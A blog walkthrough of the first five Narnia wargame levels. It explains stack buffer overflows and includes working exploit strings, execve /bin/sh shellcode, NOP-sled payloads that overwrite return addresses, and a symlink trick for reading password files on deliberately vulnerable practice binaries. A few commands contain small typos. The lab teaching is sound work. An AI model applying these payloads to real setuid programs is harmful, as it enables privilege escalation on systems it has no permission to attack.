35 KiB
Title: Smashing the Stack for Fun or WarGames - Narnia 0-4 Date: 2014-10-6 6:30 Category: Vulnerabilities Tags: Buffer, Overflow, Stack, NOP, C, Assembly, gdb, Wargames, Linux
One of my mentors, Joel Eriksson, suggested me the quintessential WarGames, a collection of Security problems, divided into 14 interesting titles. I have been playing the games since last week and they are awesome! To play the WarGames you SSH to their servers with a login that indicates your current level. The purpose of the game is to solve the current level's challenge to find the password for the next level.
Today I am talking about the first five levels of Narnia, which is all about buffer overflow and inputs with no bounds checking.
You will see that this war is not so bad when you know your weapons.
How Stack Exploitation Works: A Crash Course
A Process' Virtual Memory
When a program starts a process, the OS kernel provides it a piece of physical memory. However, all that the process sees is the virtual memory space and its size and starting address. Each time a process wants to read or write to physical memory, its request must be translated from a virtual memory address to a physical memory address.
I like Peter Jay Salzman's picture showing the process' virtual memory in terms of its address.
The text and data segments are the places where the program puts the code and the static data (e.g., global variables). This region is normally marked read-only and any attempt to write to it will result in a segmentation violation.
Notice that arguments and environment variables get a special place in the top of the Stack (higher address).
Although the Heap can be also fun to play with, for the purpose of these games, we will concentrate in the Stack. Remember, the direction of which the Stack grows is system-dependent.
What's the Stack
A Stack is an abstract data type that has the property that the last object placed will be the first object removed. This is also known as last-in/first-out queue or LIFO.Two of the most important operations in a Stack are push and pop.
You can think of a stack of books: the only way to reach the book in the bottom (the first book that was pushed) is by popping every book on the top. To learn how to write a Stack in Python, take a look at my notes on Python & Algorithms. I also made the source code available: here are some examples.
The memory Stack frame is a collection of (stack) frames. Every time a process calls a function, it alters the flow of control. In this case, a new frame needs to be added and the Stack grows downward (lower memory address).
If you think about it, a Stack is the perfect object for a process: the process can push a function (its arguments, code, etc.) into the Stack, then, in the end, it pops everything, back to where it started.
Buffer Overflows in the Stack
Buffer overflows happen when we give a buffer more information than it is meant to hold. For example, the standard C library has several functions for copying or appending strings with no bounds checking: strcat(), strcpy(), sprintf(), vsprintf(), gets(), and scanf(). These functions can easily overflow a buffer if there the input is not validated first.
To better understand this subject, I recommend the classic Smashing the Stack for Fun or Profit from Aleph One , which was published in 1996 in the Phrack magazine number 49.
Assembly and the Stack Registers
Registers are the location of the data storage on the CPU. When the process enters the Stack, a register called the Stack pointer (esp) points to the top of the Stack (lowest memory address). The bottom of the Stack (higher memory address) is at a fixed address (adjusted by the kernel at run time). The CPU will implement instructions to push onto and pop stuff of the Stack.
In Assembly code this looks like this:
pushl %ebp
movl %esp,%ebp
subl $20,%esp
The two first lines are the prologue. In the first line of this code, the (old) frame pointer (ebp) is pushed onto the Stack (so we have it for when we leave). Then, the current esp is copied into ebp, making it the new frame pointer. This is the base of the Stack frame. In the last line, the space is allocated for the local variables, subtracting their size from esp (remember that memory can only be addressed in multiples of the word size, for example 4 bytes, or 32 bits).
After this point, the Assembly code will show each operation step in the program. We will learn more about this during the challenges. It's a good skill to understand the basics of Assembly, but this is outside the context of this review. Check out this nice Assembly guide if you need to.
Ah, by the way, you can look to the Assembly output in a C program by using the flag -S:
$ gcc -S -o example1.s example1.c
Narnia's WarGame
The Scenario
In each of Narnia's levels we are able to run a binary and read its C code. The objective is to figure out from the code what vulnerability can be used to allow us to read the password of the next level (located in a folder under /etc in the server).
Your Weapons
Memory and Exploits Representation
When it comes to memory addresses, it's fundamental to understand hexadecimal representation. You can print an HEX into ASCII with Python:
$ python -c 'print "\x41"'
A
Remember that Narnia's severs are x86, so they have little-endian representation. This means that an address 0xffffd546 is actually written as \x46\xd5\xff\xff .
Most of the exploit we deliver in Narnia are in form of input strings. Python with the flag, -c, is really handy to craft what we need:
$ python -c 'print "A"*20'
AAAAAAAAAAAAAAAAAAAA
Environment Variables
If you look to the picture above, you see that the system environment variables are available within the Stack. This can be useful to some exploits, where we can use these variables to import payloads.
To define an environment variable we use export. To print its value, you can use echo or env:
$ EGG="0X41414141"
$ echo $EGG
0X41414141
$ export EGG
$ env | grep EGG
EGG=0X41414141
To understand more about environments variables in exploits, take a look into my Shellshock guide.
Shell Commands
The shell commands that are useful for these problems are:
readelf: Displays information about ELF files (the binaries). For example, a detail that will be important soon is the fact that, in Narnia, the Stack is executable. This means that we can place shellcode within it. To check whether the Stack is executable see if the following output has the flag E:
narnia1@melinda:/narnia$ readelf -a narnia1 | grep GNU_STACK
GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x4
-
xxd: Creates a hex dump of a given file or standard input. It can also convert a hex dump back to its original binary form. -
whoami: Shows the current user, good to see whether the exploit worked!
gdb
In most of the problems in Narnia, it's fundamental do understand how to debug the binary with gdb.
To learn more about gdb, you might want to check this very introductory guide or this comprehensive guide. However, in any problem in Narnia these steps are enough:
- To start a gdb instance:
gdb -q <EXECUTABLE>. - To get the Assembly code we use the
disassemblecommand. Constants are prefixed with a $ and registers with a %:
(gdb) set disassembly-flavor intel
(gdb) disas main
- To set breakpoints to the address to inspect, based on the values from the output above:
(gdb) b *main+<SOME NUMBER>
-
To run the program:
(gdb) r. We also can usecto continue to run it after breakpoint. We can usenfor next program line. We can print things usingp. -
To examine some memory address, we can use
(gdb) x/30xw A, where A is the address (e.g., ```$esp``) and 30 is the number of outputs we want to see (the repeat count). -
To examine the Stack frame:
(gdb) i f. We can also look at the Stack by usingbt(backtrace).
Level 0: Classic Stack Overflow to rewrite a Variable
Step 1: Understanding the Problem
The first level starts with:
narnia0@melinda:/narnia$ cat narnia0.c
#include <stdio.h>
#include <stdlib.h>
int main(){
long val=0x41414141;
char buf[20];
printf("Correct val's value from 0x41414141 -> 0xdeadbeef!\n");
printf("Here is your chance: ");
scanf("%24s",&buf);
printf("buf: %s\n",buf);
printf("val: 0x%08x\n",val);
if(val==0xdeadbeef)
system("/bin/sh");
else {
printf("WAY OFF!!!!\n");
exit(1);
}
return 0;
}
The program receives an input from the user and save it in a buffer variable of size 20. Then, it checks if the val is equal to a different value of what it was declared:
if(val==0xdeadbeef)
system("/bin/sh");
Since val obviously didn't change anywhere in the program, nothing happens and the program exits normally.
However, if somehow we could change the value of val to 0xdeadbeef, the program will give us a privileged shell!
Let's think about the memory Stack. Just like in a pile of books, the local variables are pushed in the order that they are created. In the case above, val is pushed before buf, so val is in a higher memory address:
long val=0x41414141;
char buf[20];
What happens if the input is larger than 20 bytes? In this case, there is no bounds checking and the input overflows the variable buf, occupying the following space in the Stack: val. This is a classical case of Stack Overflow!
Step 2: Visualizing the Overflow
The plan is to overflow buf with 20+4 bytes, so that the last four bytes overwrites val with 0xdeadbeef.
Let's see how val is filled when we overflow byte by byte:
narnia0@melinda:/narnia$ python -c 'print "B"*24'
BBBBBBBBBBBBBBBBBBBBBBBB
narnia0@melinda:/narnia$ (python -c 'print "B"*19') | ./narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: BBBBBBBBBBBBBBBBBBB
val: 0x41414141
WAY OFF!!!!
narnia0@melinda:/narnia$ (python -c 'print "B"*20') | ./narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: BBBBBBBBBBBBBBBBBBBB
val: 0x41414100
WAY OFF!!!!
narnia0@melinda:/narnia$ (python -c 'print "B"*21') | ./narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: BBBBBBBBBBBBBBBBBBBBB
val: 0x41410042
WAY OFF!!!!
narnia0@melinda:/narnia$ (python -c 'print "B"*22') | ./narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: BBBBBBBBBBBBBBBBBBBBBB
val: 0x41004242
WAY OFF!!!!
narnia0@melinda:/narnia$ (python -c 'print "B"*23') | ./narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: BBBBBBBBBBBBBBBBBBBBBBB
val: 0x00424242
WAY OFF!!!!
narnia0@melinda:/narnia$ (python -c 'print "B"*24') | ./narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: BBBBBBBBBBBBBBBBBBBBBBBB
val: 0x42424242
WAY OFF!!!!
Step 3: Crafting the Exploit
Now we know that val starts to overflow in the 20th byte. All we need to do is to add deadbeef in the last four bytes.
However, we need to write this in hexadecimal form:
narnia0@melinda:/narnia$ python -c'print "A"*20 + "\xef\xbe\xad\xde"'
AAAAAAAAAAAAAAAAAAAAﾭ
narnia0@melinda:/narnia$ (python -c'print "A"*20 + "\xef\xbe\xad\xde"') | ./narnia0 Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: AAAAAAAAAAAAAAAAAAAAﾭ
val: 0xdeadbeef
Yay, the exploit worked!
Step 4: Getting Access to the Shell
We were able to get access to our shell, but it closed too fast, when the program execution ended.
We need to create a way to read the password before we loose the control to the shell. A good way is pipelining some command that waits for an input, such as tail or cat.
It turns out that only cat actually prints the output:
narnia0@melinda:/narnia$ (python -c'print "A"*20 + "\xef\xbe\xad\xde"'; cat) | /narnia/narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: AAAAAAAAAAAAAAAAAAAAﾭ
val: 0xdeadbeef
cat /etc/narnia_pass/narnia1
Done! We have completed the 0th level!
Step 5: Debugging it!
Although this problem was easy enough so we didn't need to debug anything, it's a good call to understand the process while the challenge is easy:
narnia0@melinda:/narnia$ gdb ./narnia0
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x080484c4 <+0>: push ebp
0x080484c5 <+1>: mov ebp,esp
0x080484c7 <+3>: and esp,0xfffffff0
0x080484ca <+6>: sub esp,0x30
0x080484cd <+9>: mov DWORD PTR [esp+0x2c],0x41414141
0x080484d5 <+17>: mov DWORD PTR [esp],0x8048640
0x080484dc <+24>: call 0x80483b0 <puts@plt>
0x080484e1 <+29>: mov eax,0x8048673
0x080484e6 <+34>: mov DWORD PTR [esp],eax
0x080484e9 <+37>: call 0x80483a0 <printf@plt>
0x080484ee <+42>: mov eax,0x8048689
0x080484f3 <+47>: lea edx,[esp+0x18]
0x080484f7 <+51>: mov DWORD PTR [esp+0x4],edx
0x080484fb <+55>: mov DWORD PTR [esp],eax
0x080484fe <+58>: call 0x8048400 <__isoc99_scanf@plt>
0x08048503 <+63>: mov eax,0x804868e
0x08048508 <+68>: lea edx,[esp+0x18]
0x0804850c <+72>: mov DWORD PTR [esp+0x4],edx
(...)
End of assembler dump.
Let's put a break point right after scanf:
(gdb) b *main+63
Breakpoint 1 at 0x8048503
We run the debugged program with 20 Bs (\x42) as the input. It stops in the address above, right after scanf:
(gdb) r
Starting program: /games/narnia/narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance:
Breakpoint 1, 0x08048503 in main ()
Now we examine the memory in, say, 12 counts:
(gdb) x/12xw $esp
0xffffd6a0: 0x08048689 0xffffd6b8 0x08049ff4 0x08048591
0xffffd6b0: 0xffffffff 0xf7e59d46 0x42424242 0x42424242
0xffffd6c0: 0x42424242 0x42424242 0x42424242 0x41414100
The variable buf is in the 7-11th entries (0x42424242). Right after that is val (which we know is still 0x41414141). Wait, do you see the two zeros in 0x41414100? This is the space in the end of buf
Finally, we test with 20 Bs + 4 Cs and confirm that our exploit works:
(gdb) x/12xw $esp
0xffffd6a0: 0x08048689 0xffffd6b8 0x08049ff4 0x08048591
0xffffd6b0: 0xffffffff 0xf7e59d46 0x42424242 0x42424242
0xffffd6c0: 0x42424242 0x42424242 0x42424242 0x43434343
Level 1: Stack Overflow with Environment Variables
Step 1: Understanding the Problem
The second level starts with:
narnia1@melinda:/narnia$ ./narnia1
Give me something to execute at the env-variable EGG
narnia1@melinda:/narnia$ cat narnia1.c
#include <stdio.h>
int main(){
int (*ret)();
if(getenv("EGG")==NULL){
printf("Give me something to execute at the env-variable EGG\n");
exit(1);
}
printf("Trying to execute EGG!\n");
ret = getenv("EGG");
ret();
return 0;
}
The program searches for an environment variable EGG and then it exits if this variable doesn't exist. If it does, EGG's value is passed as a function. Really secure.
Step 1: Creating an Environment Variable with our Exploit
The most obvious option for an exploit is to spawn a privileged shell, so that we can read the next level's password.
Let's suppose we don't know that we need to write the exploit in memory language. We could try this:
narnia1@melinda:/narnia$ export EGG="/bin/ls"
narnia1@melinda:/narnia$ echo $EGG
/bin/ls
narnia1@melinda:/narnia$ ./narnia1
Trying to execute EGG!
Segmentation fault
Nope.
We actually need to create a hexadecimal command to export to EGG. We do this in Assembly and all the information we need is in the Appendix A from Aleph One's paper. This allows us to write the following:
narnia1@melinda:/tmp$ vi shellspawn.asm
xor eax, eax ; make eax equal to 0
push eax ; pushes null
push 0x68732f2f ; pushes /sh (//)
push 0x6e69622f ; pushes /bin
mov ebx, esp ; passes the first argument
push eax ; empty third argument
mov edx, esp ; passes the third argument
push eax ; empty second argument
mov ecx, esp ; passes the second argument
mov al, 11 ; execve system call #11
int 0x80 ; makes an interrupt
Compiling:
narnia1@melinda:/tmp$ nasm shellspawn.asm
narnia1@melinda:/tmp$ ls
shellspawn shellspawn.asm
narnia1@melinda:/tmp$ cat shellspawn
1<>Ph//shh/bin<69><6E>P<EFBFBD><50>P<EFBFBD><50><EFBFBD>
Exporting it to EGG:
narnia1@melinda:/tmp$ export EGG=$(cat shellspawn)
We are ready to exploit the binary:
narnia1@melinda:/tmp$ /narnia/narnia1
Trying to execute EGG!
$ whoami
narnia2
Step 4: Convert it to Hexadecimal
It's really useful to have a hexadecimal form of our exploit (as we will see in the next levels) so we will use xxd to read it:
narnia5@melinda:/tmp$ xxd shellspawn
0000000: 31c0 5068 2f2f 7368 682f 6269 6e89 e350 1.Ph//shh/bin..P
0000010: 89e2 5089 e1b0 0bcd 80 ..P......
Awesome! We can go ahead and test it:
narnia1@melinda:/tmp$ export EGG=`python -c'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x50\x89\xe1\xb0\x0b\xcd\x80"'`
narnia1@melinda:/tmp$ /narnia/narnia1
Trying to execute EGG!
$ whoami
narnia2
Level 2: Stack Overflow to the Return Address
Step 1: Understanding the Problem:
The third level starts with:
narnia2@melinda:/narnia$ ./narnia2
Usage: ./narnia2 argument
narnia2@melinda:/narnia$ cat narnia2.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(int argc, char * argv[]){
char buf[128];
if(argc == 1){
printf("Usage: %s argument\n", argv[0]);
exit(1);
}
strcpy(buf,argv[1]);
printf("%s", buf);
return 0;
}
This function copies an input string to a buf, using strcpy() (instead of safer strncpy()). Since there is no bounds checking, buf overflows to the higher address in the Stack if the input is larger than 128 bytes.
In this problem we will use overflow to take control of the return address of the main function, which is right after buf. We will overwrite this to any address we want, for example to the address of a beautiful crafted exploit.
Step 2: Finding the Frame Size
To find where the returning address of this function is located, we use gdb:
narnia2@melinda:/narnia$ gdb ./narnia2
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x08048424 <+0>: push ebp
0x08048425 <+1>: mov ebp,esp
0x08048427 <+3>: and esp,0xfffffff0
0x0804842a <+6>: sub esp,0x90
0x08048430 <+12>: cmp DWORD PTR [ebp+0x8],0x1
0x08048434 <+16>: jne 0x8048458 <main+52>
0x08048436 <+18>: mov eax,DWORD PTR [ebp+0xc]
0x08048439 <+21>: mov edx,DWORD PTR [eax]
0x0804843b <+23>: mov eax,0x8048560
0x08048440 <+28>: mov DWORD PTR [esp+0x4],edx
0x08048444 <+32>: mov DWORD PTR [esp],eax
0x08048447 <+35>: call 0x8048320 <printf@plt>
0x0804844c <+40>: mov DWORD PTR [esp],0x1
0x08048453 <+47>: call 0x8048350 <exit@plt>
0x08048458 <+52>: mov eax,DWORD PTR [ebp+0xc]
0x0804845b <+55>: add eax,0x4
0x0804845e <+58>: mov eax,DWORD PTR [eax]
0x08048460 <+60>: mov DWORD PTR [esp+0x4],eax
0x08048464 <+64>: lea eax,[esp+0x10]
0x08048468 <+68>: mov DWORD PTR [esp],eax
0x0804846b <+71>: call 0x8048330 <strcpy@plt>
0x08048470 <+76>: mov eax,0x8048574
0x08048475 <+81>: lea edx,[esp+0x10]
0x08048479 <+85>: mov DWORD PTR [esp+0x4],edx
0x0804847d <+89>: mov DWORD PTR [esp],eax
0x08048480 <+92>: call 0x8048320 <printf@plt>
0x08048485 <+97>: mov eax,0x0
0x0804848a <+102>: leave
0x0804848b <+103>: ret
End of assembler dump.
We create a break point right before the exit:
(gdb) b *main+97
Breakpoint 1 at 0x8048485
We run our program, feeding it with an argument of size 30 and we look to the memory (esp is the Stack pointer). The second value, 0xffffd610, indicates the start of the frame:
(gdb) r `python -c 'print "B"*30'`
(gdb) x/30xw $esp
0xffffd600: 0x08048574 0xffffd610 0x00000001 0xf7ebf729
0xffffd610: 0x42424242 0x42424242 0x42424242 0x42424242
0xffffd620: 0x42424242 0x42424242 0x42424242 0xf7004242
0xffffd630: 0x08048258 0x00000000 0x00ca0000 0x00000001
0xffffd640: 0xffffd86d 0x0000002f 0xffffd69c 0xf7fcaff4
0xffffd650: 0x08048490 0x08049750 0x00000002 0x080482fd
0xffffd660: 0xf7fcb3e4 0x00008000 0x08049750 0x080484b1
0xffffd670: 0xffffffff 0xf7e59d46
Now, looking to the information about the frame, we get the return address at 0xffffd69c:
(gdb) i f
Stack level 0, frame at 0xffffd6a0:
eip = 0x8048485 in main; saved eip 0xf7e404b3
Arglist at 0xffffd698, args:
Locals at 0xffffd698, Previous frame's sp is 0xffffd6a0
Saved registers:
ebp at 0xffffd698, eip at 0xffffd69c
To find the size of the frame we subtract these values:
(gdb) p 0xffffd69c-0xffffd610
$1 = 140
So we know that 140 bytes are needed to reach the return address, where we will add our pointer.
Step 3: Finding the EGG ShellCode Address
Where do we want to point the return address to? Well, we already know a way to spawn a shell: using an environment variable:
narnia2@melinda:/tmp$ export EGG=`python -c'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x50\x89\xe1\xb0\x0b\xcd\x80"'
To find the address of EGG we use the following C code:
narnia2@melinda:/tmp$ cat getbashadd.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc,char *argv[]){
char *ptr;
ptr = getenv(argv[1]);
ptr += (strlen(argv[0])-strlen(argv[2]))*2;
printf("%s is at %p\n", argv[1],ptr);
return 0;
}
Running it gives:
narnia2@melinda:/tmp$ ./getshadd EGG /narnia/narnia2
EGG will be at 0xffffd945
Step 4: Running the Exploit!
Now all we need to do is to run the binary with 140 bytes of junk plus the address that we want to point the return address to:
narnia2@melinda:/tmp/ya2$ /narnia/narnia2 `python -c 'print "A"*140 + "\x45\xd9\xff\xff"'`
$ whoami
narnia3
Level 3: Stack Overflow, Files, and Symbolic Links
Step 1: Understanding the Problem
The fourth level starts with:
narnia3@melinda:/narnia$ ./narnia3
usage, ./narnia3 file, will send contents of file 2 /dev/null
narnia3@melinda:/narnia$ cat narnia3.c
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char **argv){
int ifd, ofd;
char ofile[16] = "/dev/null";
char ifile[32];
char buf[32];
if(argc != 2){
printf("usage, %s file, will send contents of file 2 /dev/null\n",argv[0]);
exit(-1);
}
/* open files */
strcpy(ifile, argv[1]);
if((ofd = open(ofile,O_RDWR)) < 0 ){
printf("error opening %s\n", ofile);
exit(-1);
}
if((ifd = open(ifile, O_RDONLY)) < 0 ){
printf("error opening %s\n", ifile);
exit(-1);
}
/* copy from file1 to file2 */
read(ifd, buf, sizeof(buf)-1);
write(ofd,buf, sizeof(buf)-1);
printf("copied contents of %s to a safer place... (%s)\n",ifile,ofile);
/* close 'em */
close(ifd);
close(ofd);
exit(1);
}
This program receives a file name as input, and then copies the content of this file to a second file pointing to /dev/null.
What is particularly interesting to us is the order that the variables are declared:
char ofile[16] = "/dev/null";
char ifile[32];
Step 2: Understanding what is going on in the Memory
Let's debug this binary to see how we can exploit it. First with a simple 3-bytes input:
(gdb) set args "`python -c 'print "a"*3'`"
(gdb) r
Starting program: /games/narnia/narnia3 "`python -c 'print "a"*3'`"
error opening aaa
OK, it makes sense, there is no such file. Now let's try the size of ifile:
(gdb) set args "`python -c 'print "a"*32'`"
(gdb) r
Starting program: /games/narnia/narnia3 "`python -c 'print "a"*32'`"
error opening
Mmm, interesting. It does not input any name. Let's try one byte less:
(gdb) set args "`python -c 'print "a"*31'`"
(gdb) r
Starting program: /games/narnia/narnia3 "`python -c 'print "a"*31'`"
error opening aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
The previous example showed the first byte after overflowing ifile. This last example ends in the last possible byte in the array. Once we overflow ifile, it skips the checking, going straight to check whether ofile is a valid name. Awesome!
Step 3: Writing and Applying the Exploit
We want two things happening in ifile: first, to read the password file, then to overflows ofile, making it to point to a file we have access to read.
The best way to put all of this in one input name is creating a symbolic link with the following rules:
- Point to /etc/narnia_pass/narnia4.
- Fill the 32 bytes of the ifile array with junk.
- End with a some file name which we had created before, and we have permission to read (we can just use
touchto create an empty file).
The result, for a file name out, is:
$ ln -s /etc/narnia_pass/narnia4 $(python -c "print 'A'*32 + 'out'")
Now we can just run it and retrieve our password:
narnia3@melinda:/tmp$ /narnia/narnia3 `python -c "print 'A'*32 + 'out'"`copied contents of AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAout to a safer place... (out)
narnia3@melinda:/tmp$ cat out
Level 4: Classic Buffer Overflow with NOP
Step 1: Understanding the Problem
This fifth level starts with:
narnia4@melinda:/narnia$ ./narnia4
narnia4@melinda:/narnia$ cat narnia4.c
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <ctype.h>
extern char **environ;
int main(int argc,char **argv){
int i;
char buffer[256];
for(i = 0; environ[i] != NULL; i++)
memset(environ[i], '\0', strlen(environ[i]));
if(argc>1)
strcpy(buffer,argv[1]);
return 0;
}
This binary does three things: first, it creates a buffer array of size 256, then it makes all of the system environment variables equal to zero, and then it copies whatever user input it had to the buffer.
The reason why this code clears the environment variables is to avoid the possibility of us placing a shellcode exploit to them (like we did in the Level 2).
Step 2: Outlining the Attack
To exploit this binary we are going to overwrite our return address like in level 2, but this time we can't use an external address to point to. However, since our Stack is executable, we can place the shellcode in the Stack. The steps we follow are:
- Find out the size of the Stack. Just having the return address won't help since we can't point it to anywhere outside the code.
- Create a shellcode with the return address minus some value we define so that the return address points to somewhere inside the Stack.
- Fill the beginning of the Stack with a lots of NOPs (No Operations), which in the x86 CPU family is represented with
0x90. If the pointer hits these places, it just keeps advancing until it finds our shell. - To make everything fit right in the Stack frame, we pad the end of the shell code with junk. .
Step 3: Getting the Frame Size
With gdb we can extract the relevant memory locations. Let's run our program with an input of the size of the buffer. Here we use the flag --args because otherwise we will get an error that the name is too long:
narnia4@melinda:/narnia$ gdb --args narnia4 `python -c "print 'A'*256"`
Reading symbols from /games/narnia/narnia4...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x08048444 <+0>: push ebp
0x08048445 <+1>: mov ebp,esp
0x08048447 <+3>: push edi
0x08048448 <+4>: and esp,0xfffffff0
0x0804844b <+7>: sub esp,0x130
(..)
0x080484f0 <+172>: call 0x8048350 <strcpy@plt>
0x080484f5 <+177>: mov eax,0x0
0x080484fa <+182>: mov edi,DWORD PTR [ebp-0x4]
0x080484fd <+185>: leave
0x080484fe <+186>: ret
End of assembler dump.
We put a breakpoint right before the Stack ends:
(gdb) b *main+182
Breakpoint 1 at 0x80484fa
Running:
(gdb) r
Starting program: /games/narnia/narnia4 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
We see that the frame starts at 0xffffd4cc:
(gdb) x/90xw $esp
0xffffd4a0: 0xffffd4cc 0xffffd7be 0x00000021 0xf7ff7d54
0xffffd4b0: 0xf7e2ae38 0x00000000 0x00000026 0xffffffff
0xffffd4c0: 0x00000000 0x00000000 0x00000001 0x41414141
0xffffd4d0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd4e0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd4f0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd500: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd510: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd520: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd530: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd540: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd550: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd560: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd570: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd580: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd590: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd5a0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd5b0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd5c0: 0x41414141 0x41414141 0x41414141 0x00000000
0xffffd5d0: 0x08048500 0x00000000 0x00000000 0xf7e404b3
0xffffd5e0: 0x00000002 0xffffd674 0xffffd680 0xf7fcf000
0xffffd5f0: 0x00000000 0xffffd61c 0xffffd680 0x00000000
0xffffd600: 0x0804824c 0xf7fcaff4
Taking a look at the information of the frame gives us the return address, from which we find the size of the Stack:
(gdb) i f
Stack level 0, frame at 0xffffd5e0:
eip = 0x80484fa in main; saved eip 0xf7e404b3
Arglist at 0xffffd5d8, args:
Locals at 0xffffd5d8, Previous frame's sp is 0xffffd5e0
Saved registers:
ebp at 0xffffd5d8, edi at 0xffffd5d4, eip at 0xffffd5dc
(gdb) p 0xffffd5dc-0xffffd4cc
$1 = 272
Step 4: Writing and Applying the Exploit
We know that the Stack has size of 272 bytes and that the return address is 0xffffd5dc. If we add the return address, it sums to 276.
Now we have some freedom to choose where to place our shellcode. Let's say, we place it somewhere in the middle, say, at the position 134. In the memory, we get: 0xffffd5cc - 134 = 0xffffd546.
Since 276 minus 134 is 142, if we point the return address to 0xffffd546, it will go to the 142th position in the Stack and execute whatever is there. We want to make sure that the return address will always end in the shellcode address and for this reason we fill the addresses around with NOPs.
We will borrow the shellcode from the previous levels, which has size of 25 bytes:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x50\x89\xe1\xb0\x0b\xcd\x80
Considering the values above, we can write the following exploit:
`python -c "print '\x90'*142 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x50\x89\xe1\xb0\x0b\xcd\x80' + 'A'*105 + '\x46\xd5\xff\xff'"`
We could have used another address to craft another version of the exploit. Then we would have to simply adjust our NOPs and our paddings. For example, 0xffffd5cc - 120 = 0xffffd554:
`print -c "'\x90'*156 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x50\x89\xe1\xb0\x0b\xcd\x80' + 'A'*91 + '\x54\xd5\xff\xff'" `
Both works.
We finally apply our exploit:
narnia4@melinda:/tmp$ python -c "print '\x90'*156 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x50\x89\xe1\xb0\x0b\xcd\x80' + 'A'*91 + '\x54\xd5\xff\xff'"
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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAT<41><54><EFBFBD>
narnia4@melinda:/tmp$ /narnia/narnia4 `python -c "print '\x90'*156 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x50\x89\xe1\xb0\x0b\xcd\x80' + 'A'*91 + '\x54\xd5\xff\xff'"`
$ whoami
narnia5
All right, we have completed half of the challenges from Narnia. Soon I will post the other half.